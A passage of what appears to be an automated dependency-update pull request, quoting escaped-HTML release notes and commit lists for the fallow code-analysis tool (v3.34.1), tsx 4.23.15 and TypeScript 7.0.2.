selection\u003c/h2\u003e\n\u003ch2\u003eChanged\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eA single \u003ccode\u003e*\u003c/code\u003e in a config path glob now stays within one path segment.\u003c/strong\u003e Only \u003ccode\u003e**\u003c/code\u003e crosses directories. Before, \u003ccode\u003esrc/plugins/*/index.js\u003c/code\u003e in \u003ccode\u003eentry\u003c/code\u003e also matched \u003ccode\u003esrc/plugins/alpha/components/button/index.js\u003c/code\u003e. Each nested match became an entry point, so fallow did not report it as an unused file. The rule first applied to \u003ccode\u003eentry\u003c/code\u003e and \u003ccode\u003edynamicallyLoaded\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3513\"\u003e#3513\u003c/a\u003e, closes \u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3490\"\u003e#3490\u003c/a\u003e). It now applies to every config path glob (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3541\"\u003e#3541\u003c/a\u003e):\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eignorePatterns\u003c/code\u003e, \u003ccode\u003eignoreFindings\u003c/code\u003e, \u003ccode\u003eoverrides[].files\u003c/code\u003e, \u003ccode\u003eignoreExports[].file\u003c/code\u003e and \u003ccode\u003eignoreCatalogReferences[].consumer\u003c/code\u003e,\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eduplicates.ignore\u003c/code\u003e, \u003ccode\u003esimilarCode.ignore\u003c/code\u003e, \u003ccode\u003ehealth.ignore\u003c/code\u003e and \u003ccode\u003ehealth.thresholdOverrides[].files\u003c/code\u003e,\u003c/li\u003e\n\u003cli\u003ethe \u003ccode\u003eboundaries\u003c/code\u003e zone and coverage globs, and the rule-pack file globs,\u003c/li\u003e\n\u003cli\u003ethe \u003ccode\u003eframework[]\u003c/code\u003e fields \u003ccode\u003eusedExports[].pattern\u003c/code\u003e, \u003ccode\u003emanifestEntries[].manifests\u003c/code\u003e and \u003ccode\u003edetection.pattern\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTo keep the old match, change the single \u003ccode\u003e*\u003c/code\u003e to \u003ccode\u003e**\u003c/code\u003e. For example, change \u003ccode\u003esrc/generated/*\u003c/code\u003e to \u003ccode\u003esrc/generated/**\u003c/code\u003e, and \u003ccode\u003e*.test.ts\u003c/code\u003e to \u003ccode\u003e**/*.test.ts\u003c/code\u003e. For each pattern that now matches fewer files, fallow prints a warning on stderr. The warning names the config field, the pattern, the count of files that only the old rule matched, and the rewrite. \u003ccode\u003e--quiet\u003c/code\u003e hides the warning, and the JSON output does not change. A narrower glob can show new findings. Fallow matches a glob against each file path, not against each directory. Thus a line that you copy from \u003ccode\u003e.gitignore\u003c/code\u003e can match fewer files in \u003ccode\u003eignorePatterns\u003c/code\u003e. Globs that match package names or import specifiers, such as \u003ccode\u003eignoreDependencies\u003c/code\u003e and \u003ccode\u003eignoreUnresolvedImports\u003c/code\u003e, do not change. Thanks \u003ca href=\"https://github.com/jleifeld\"\u003e\u003ccode\u003e@​jleifeld\u003c/code\u003e\u003c/a\u003e for the report.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eAn existing \u003ccode\u003eprop-drilling: \u0026quot;error\u0026quot;\u003c/code\u003e setting now enforces CI.\u003c/strong\u003e To report chains without an error, change the rule to \u003ccode\u003ewarn\u003c/code\u003e. Archived JSON reports with \u003ccode\u003eeffective_severity: \u0026quot;error\u0026quot;\u003c/code\u003e also render as errors. A config change does not rewrite those reports.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eStorybook, Vitest, Rstest, Jasmine and Playwright globs now accept every extglob group.\u003c/strong\u003e One shared rewrite reads \u003ccode\u003e@(..)\u003c/code\u003e, \u003ccode\u003e?(..)\u003c/code\u003e, \u003ccode\u003e+(..)\u003c/code\u003e, \u003ccode\u003e*(..)\u003c/code\u003e and \u003ccode\u003e!(..)\u003c/code\u003e for these plugins and for \u003ccode\u003eimport.meta.glob\u003c/code\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eStorybook: before, only \u003ccode\u003e@(..)\u003c/code\u003e matched. Now \u003ccode\u003e../src/**/!(*.dev).stories.@(js|ts)\u003c/code\u003e matches, and \u003ccode\u003e!(*.dev)\u003c/code\u003e excludes the files that match \u003ccode\u003e*.dev\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003ePlaywright: before, a \u003ccode\u003etestMatch\u003c/code\u003e glob with a group made every script below \u003ccode\u003etestDir\u003c/code\u003e an entry point. Now only the matched files are entry points.\u003c/li\u003e\n\u003cli\u003eVitest: before, a \u003ccode\u003etest.include\u003c/code\u003e glob with any group made no file an entry point. So fallow reported every test file as unused. A plain \u003ccode\u003e(a|b)\u003c/code\u003e group still matches one alternative.\u003c/li\u003e\n\u003cli\u003eVitest, Rstest and Jasmine: \u003ccode\u003e!(..)\u003c/code\u003e and \u003ccode\u003e*(..)\u003c/code\u003e now match.\u003c/li\u003e\n\u003cli\u003eA \u003ccode\u003e+(..)\u003c/code\u003e group in an include glob now matches one or more repetitions. Before, Vitest, Rstest and Jasmine matched the group once only. The rewrite can also make a few more files entry points, for example \u003ccode\u003ea.test.jsx\u003c/code\u003e and \u003ccode\u003ea.test.tsx\u003c/code\u003e for \u003ccode\u003e*.test.+(ts|js)\u003c/code\u003e. An exclude glob still matches the group once only.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eComplexity findings name more callback bodies.\u003c/strong\u003e A function that got \u003ccode\u003e\u0026lt;anonymous\u0026gt;\u003c/code\u003e or \u003ccode\u003e\u0026lt;arrow\u0026gt;\u003c/code\u003e now takes a name from the code around it. \u003ccode\u003eEffect.fn(\u0026quot;Users.create\u0026quot;)(function* ...)\u003c/code\u003e gives \u003ccode\u003eUsers.create\u003c/code\u003e, and \u003ccode\u003eit(\u0026quot;renders\u0026quot;, () =\u0026gt; ...)\u003c/code\u003e gives \u003ccode\u003eit(\u0026quot;renders\u0026quot;)\u003c/code\u003e. A generator that a named function returns gives that name, for example \u003ccode\u003eload\u003c/code\u003e for \u003ccode\u003econst load = () =\u0026gt; Effect.gen(function* ...)\u003c/code\u003e. Scores and existing names do not change. A renamed finding gets a new CodeClimate fingerprint one time. An identity baseline gives the allowance of an \u003ccode\u003e\u0026lt;anonymous\u0026gt;\u003c/code\u003e or \u003ccode\u003e\u0026lt;arrow\u0026gt;\u003c/code\u003e bucket to the new names in the same file. A file move no longer moves an \u003ccode\u003e\u0026lt;arrow\u0026gt;\u003c/code\u003e bucket.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eRuns are faster in five places.\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePlugin detection no longer walks \u003ccode\u003enode_modules\u003c/code\u003e for a Vitest, Jest or Rstest project glob. Since 3.33.1, a \u003ccode\u003etest.projects\u003c/code\u003e glob such as \u003ccode\u003eapps/**/vitest.config.ts\u003c/code\u003e read the full dependency store of a pnpm monorepo once per workspace. Plugin detection then took minutes. The walk now skips \u003ccode\u003enode_modules\u003c/code\u003e, \u003ccode\u003e.git\u003c/code\u003e, gitignored paths and symlinks that point out of the project root. Thanks \u003ca href=\"https://github.com/wouterkroes\"\u003e\u003ccode\u003e@​wouterkroes\u003c/code\u003e\u003c/a\u003e for the report (closes \u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3532\"\u003e#3532\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImport resolution is fast again in monorepos whose packages extend a root tsconfig that references them. Since 3.20.0, each source file checked about 760 configs in place of about 30. On a monorepo with 28 references and 4,200 modules, \u003ccode\u003eresolve imports\u003c/code\u003e takes 0.5 s in place of 10.1 s, with the same findings. Thanks \u003ca href=\"https://github.com/thymikee\"\u003e\u003ccode\u003e@​thymikee\u003c/code\u003e\u003c/a\u003e for the report and for the patch in \u003ca href=\"https://redirect.github.com/fallow-rs/fallow/pull/3504\"\u003e#3504\u003c/a\u003e (closes \u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3503\"\u003e#3503\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eA run with a restored CI cache no longer rewrites every cache entry. An entry whose content did not change gets only its new timestamps. On a large monorepo, such a run is about a fifth faster. The dead-code run also frees its parsed modules on a helper thread.\u003c/li\u003e\n\u003cli\u003eAn import through a barrel that does \u003ccode\u003eexport *\u003c/code\u003e of many packages is now checked only against the packages that export its name. Findings do not change.\u003c/li\u003e\n\u003cli\u003eEach glob compile is about three times cheaper. A dead-code run takes about 5 to 7 percent fewer instructions on a mid-size project, and the binary is smaller.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eThe build uses one oxc version.\u003c/strong\u003e \u003ccode\u003eoxc_coverage_instrument\u003c/code\u003e moves to 0.14, which uses oxc 0.152 like the rest of fallow. \u003ccode\u003ecargo deny\u003c/code\u003e now fails when two versions of the core oxc crates enter the dependency graph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eThe MCP \u003ccode\u003eaudit\u003c/code\u003e tool has a \u003ccode\u003efallow://tools/audit\u003c/code\u003e guide.\u003c/strong\u003e The guide names the five diff-risk rules and holds the styling, coverage, baseline, grouping, runtime-coverage and \u003ccode\u003eFALLOW_DIFF_FILE\u003c/code\u003e detail. The tool description is now a short summary that points to the guide (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3369\"\u003e#3369\u003c/a\u003e).\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eThe guidance for workspace dependency declarations is clearer.\u003c/strong\u003e Root imports of npm workspace packages need a dependency declaration, although npm links resolve them. The guidance covers private and tooling ancestor exceptions, self-references and explicit opt-outs. The policy does not change. Thanks \u003ca href=\"https://github.com/VariableVince\"\u003e\u003ccode\u003e@​VariableVince\u003c/code\u003e\u003c/a\u003e for the question (closes \u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3325\"\u003e#3325\u003c/a\u003e).\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003efallow mutation\u003c/code\u003e measures how well the tests detect code changes.\u003c/strong\u003e The command makes small changes (mutants) in the changed code and runs the project tests against each one. A mutant that no test fails on survives. The report gives the mutation score over the tested mutants and the survivors by file with their covering tests. It also gives the share of mutants that a test reaches.\n\u003cul\u003e\n\u003cli\u003eThe default scope is the changed code against the base ref, as for \u003ccode\u003eaudit\u003c/code\u003e. \u003ccode\u003e--all\u003c/code\u003e and file paths widen or narrow it.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e--plan\u003c/code\u003e selects and ranks the mutants and runs no code. \u003ccode\u003efallow mutation inspect \u0026lt;mutant_id\u0026gt;\u003c/code\u003e shows one mutant against the current file. It reads the report of the last run, or the file that \u003ccode\u003e--report\u003c/code\u003e names. A changed file gives a \u003ccode\u003estale\u003c/code\u003e status.\u003c/li\u003e\n\u003cli\u003eThe runner is Vitest (\u003ccode\u003e\u0026gt;=4.1.0 \u0026lt;6.0.0\u003c/code\u003e), \u003ccode\u003enode:test\u003c/code\u003e of Node.js 22.18 or later, or \u003ccode\u003ebun test\u003c/code\u003e (\u003ccode\u003e\u0026gt;=1.4.0 \u0026lt;2.0.0\u003c/code\u003e). The default \u003ccode\u003emutation.runner: auto\u003c/code\u003e detects it. An unsupported version exits with code 2 and \u003ccode\u003eFALLOW_MUTATION_RUNNER_UNSUPPORTED\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3407\"\u003e#3407\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003enode:test\u003c/code\u003e runner takes the module loading flags of the \u003ccode\u003enode --test\u003c/code\u003e command in the project scripts, such as \u003ccode\u003e--experimental-transform-types\u003c/code\u003e and \u003ccode\u003e--import\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3487\"\u003e#3487\u003c/a\u003e). A \u003ccode\u003eborp\u003c/code\u003e script is a \u003ccode\u003enode:test\u003c/code\u003e run, and its globs give the test entry points (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3482\"\u003e#3482\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVue, Svelte and Astro components get mutants in their script blocks. Code that the framework compiler moves out of its block gives no mutant, for example the arguments of \u003ccode\u003edefineProps\u003c/code\u003e. An expression that holds a Svelte rune call gets no mutant, but the arguments of a rune still get mutants. With \u003ccode\u003enode:test\u003c/code\u003e and \u003ccode\u003ebun test\u003c/code\u003e, the plan leaves component files out with the skip reason \u003ccode\u003erunner-cannot-load\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3470\"\u003e#3470\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/6605f96806787f85124bfc144124ff7e44733b06\"\u003e\u003ccode\u003e6605f96\u003c/code\u003e\u003c/a\u003e chore: release v3.34.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/d21bf4721bc6d44ca8997c12c9e91a6b1c38f4ac\"\u003e\u003ccode\u003ed21bf47\u003c/code\u003e\u003c/a\u003e fix(workspace): skip workspace globs that can leave the project root (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3574\"\u003e#3574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/18d548e7f1845caf1b31d090112b44391ed25122\"\u003e\u003ccode\u003e18d548e\u003c/code\u003e\u003c/a\u003e chore: resolve the first CodeQL alerts (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3573\"\u003e#3573\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/86582fc167d645e2200b317c7885a867e7397936\"\u003e\u003ccode\u003e86582fc\u003c/code\u003e\u003c/a\u003e chore: tighten the release process after v3.34.0 (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3572\"\u003e#3572\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/4c3565ea4cb0b2569d954339b57cd82013ec6ae0\"\u003e\u003ccode\u003e4c3565e\u003c/code\u003e\u003c/a\u003e chore: add CodeQL and resolve dependency advisories (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3571\"\u003e#3571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/cdb8d8b2c068c220833db8e1e219bcb93f7ca560\"\u003e\u003ccode\u003ecdb8d8b\u003c/code\u003e\u003c/a\u003e fix(type-aware): carry project-wide evidence in type-coupling reports (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3570\"\u003e#3570\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/4426826573ac36d422e124877060b550a931ca53\"\u003e\u003ccode\u003e4426826\u003c/code\u003e\u003c/a\u003e fix(extract): keep Vue template references when a nested template has a \u0026lt; (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3\"\u003e#3\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/38697f84f66c68df239cbf125a48bb1a4826820e\"\u003e\u003ccode\u003e38697f8\u003c/code\u003e\u003c/a\u003e fix(health): accept a coverage map with a negative hit count (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3568\"\u003e#3568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/5ada5d28ef896ffc43499b7375a1d1ee65448652\"\u003e\u003ccode\u003e5ada5d2\u003c/code\u003e\u003c/a\u003e fix(oxlint): read .oxlintrc.jsonc and oxlint.config.mts (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3567\"\u003e#3567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/a25c3c811005ee8166f7c01508e03354e3adb305\"\u003e\u003ccode\u003ea25c3c8\u003c/code\u003e\u003c/a\u003e feat(scripts): rebase a stacked branch with ship-rebase --upstream (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3559\"\u003e#3559\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fallow-rs/fallow/compare/v3.27.0...v3.34.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `tsx` from 4.23.1 to 4.23.15\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/privatenumber/tsx/releases\"\u003etsx's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.23.15\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.14...v4.23.15\"\u003e4.23.15\u003c/a\u003e (2026-09-20)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eexclude bare builtins from namespace inheritance (\u003ca href=\"https://github.com/privatenumber/tsx/commit/38e158857e50bca311be7c232a5057e5a2e5347a\"\u003e38e1588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eexpose require.cache and require.extensions to tsImport CommonJS modules (\u003ca href=\"https://github.com/privatenumber/tsx/commit/2da34075afaed43e2b7fd0aca5fbebaaf337ff3a\"\u003e2da3407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emake namespaced register() overloads portable for declaration emit (\u003ca href=\"https://github.com/privatenumber/tsx/commit/562c434a5c8695e74327bbeb51cfeb9b86fc7e15\"\u003e562c434\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.15\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.23.14\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.13...v4.23.14\"\u003e4.23.14\u003c/a\u003e (2026-09-20)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003erestore the CJS bridge namespace for Node 24 require(esm) under tsImport() (\u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/802\"\u003e#802\u003c/a\u003e) (\u003ca href=\"https://github.com/privatenumber/tsx/commit/6e5236b065738d3687a06396d064774cfede390f\"\u003e6e5236b\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.14\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.23.13\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.12...v4.23.13\"\u003e4.23.13\u003c/a\u003e (2026-08-30)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecache:\u003c/strong\u003e bound shared transform cache memory (\u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/835\"\u003e#835\u003c/a\u003e) (\u003ca href=\"https://github.com/privatenumber/tsx/commit/28e1f12d04cd2afe1db17f8555b14fe5fb567c6e\"\u003e28e1f12\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.13\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.23.12\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.11...v4.23.12\"\u003e4.23.12\u003c/a\u003e (2026-08-10)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eshim \u003ccode\u003eimport.meta\u003c/code\u003e when tokens are split by comments or newlines (\u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/829\"\u003e#829\u003c/a\u003e) (\u003ca href=\"https://github.com/privatenumber/tsx/commit/ed9d33046a135de13a35fdfce12368b79d1b1518\"\u003eed9d330\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/828\"\u003e#828\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.12\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/ca66105a17a2a4c6503fe3a12b5b9ec408286011\"\u003e\u003ccode\u003eca66105\u003c/code\u003e\u003c/a\u003e test: fix drive-less file URLs in ESM resolver fixtures\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/2da34075afaed43e2b7fd0aca5fbebaaf337ff3a\"\u003e\u003ccode\u003e2da3407\u003c/code\u003e\u003c/a\u003e fix: expose require.cache and require.extensions to tsImport CommonJS modules\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/38e158857e50bca311be7c232a5057e5a2e5347a\"\u003e\u003ccode\u003e38e1588\u003c/code\u003e\u003c/a\u003e fix: exclude bare builtins from namespace inheritance\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/562c434a5c8695e74327bbeb51cfeb9b86fc7e15\"\u003e\u003ccode\u003e562c434\u003c/code\u003e\u003c/a\u003e fix: make namespaced register() overloads portable for declaration emit\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/edfb1f05a3f40b879a41a03a0801c2abd3a3ecf9\"\u003e\u003ccode\u003eedfb1f0\u003c/code\u003e\u003c/a\u003e build: upgrade pkgroll and externalize CJS loader reference\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/70e78284837c859f09b96cd10cd71d007aa4b795\"\u003e\u003ccode\u003e70e7828\u003c/code\u003e\u003c/a\u003e test: upgrade tinyspy for disposable API\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/9ed2022dfa9ea1be9511fe6abcde8110c25055a7\"\u003e\u003ccode\u003e9ed2022\u003c/code\u003e\u003c/a\u003e ci: avoid duplicate release notifications\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/872e77ffc5e96ca5c4727e74c0694debcb26219b\"\u003e\u003ccode\u003e872e77f\u003c/code\u003e\u003c/a\u003e refactor: use disposables for cleanup\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/6e5236b065738d3687a06396d064774cfede390f\"\u003e\u003ccode\u003e6e5236b\u003c/code\u003e\u003c/a\u003e fix: restore the CJS bridge namespace for Node 24 require(esm) under tsImport...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/28e1f12d04cd2afe1db17f8555b14fe5fb567c6e\"\u003e\u003ccode\u003e28e1f12\u003c/code\u003e\u003c/a\u003e fix(cache): bound shared transform cache memory (\u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/835\"\u003e#835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.1...v4.23.15\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript` from 6.0.3 to 7.0.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/TypeScript/releases\"\u003etypescript's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eTypeScript 7.0.2\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://devblogs.microsoft.com/typescript/announcing-typescript-7-0/\"\u003ehttps://devblogs.microsoft.com/typescript/announcing-typescript-7-0/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThis tag was originally released at: \u003ca href=\"https://github.com/microsoft/typescript-go/releases/tag/typescript%2Fv7.0.2\"\u003ehttps://github.com/microsoft/typescript-go/releases/tag/typescript%2Fv7.0.2\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/1e4744d68260a7cb91b62b12edc3f6a2187faaf1\"\u003e\u003ccode\u003e1e4744d\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into ts7-release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/a5a219c3b5da0db4fa0ecf6c0b1f588c9af9c669\"\u003e\u003ccode\u003ea5a219c\u003c/code\u003e\u003c/a\u003e\u003ccode\u003emicrosoft/typescript-go#4558\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/ecfe30dce91368d52c9a49b6095bb0b673a238f8\"\u003e\u003ccode\u003eecfe30d\u003c/code\u003e\u003c/a\u003e Update status localization\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/5de25b5f8fec2ca35eadaed041f1f06d2e214895\"\u003e\u003ccode\u003e5de25b5\u003c/code\u003e\u003c/a\u003e Hide executable name in TypeScript status\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/d7ce74a75da2b80e8201506a1599c06549432b93\"\u003e\u003ccode\u003ed7ce74a\u003c/code\u003e\u003c/a\u003e Show bundled TypeScript version for packaged servers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/29be66a607707f90d7a53103a4469bb3015a4d54\"\u003e\u003ccode\u003e29be66a\u003c/code\u003e\u003c/a\u003e Correct TS 7 release version to 7.0.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/ed2bd1bfa4aac5211ce4bc58fcd1313c7eddc8ff\"\u003e\u003ccode\u003eed2bd1b\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into ts7-release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/887307575c58ea640dbeba3b4e8fdb6347cd3044\"\u003e\u003ccode\u003e8873075\u003c/code\u003e\u003c/a\u003e Bump the github-actions group across 1 directory with 3 updates (microsoft/ty...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/9427131ae2d4e230a90ee8a09daac4e75da3e311\"\u003e\u003ccode\u003e9427131\u003c/code\u003e\u003c/a\u003e Set up stable / nightly extension split, other prep (microsoft/typescript-go#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/d4eaca5460a1f5f02a829e62706794b0a6fb903e\"\u003e\u003ccode\u003ed4eaca5\u003c/code\u003e\u003c/a\u003e\u003ccode\u003emicrosoft/typescript-go#4549\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca 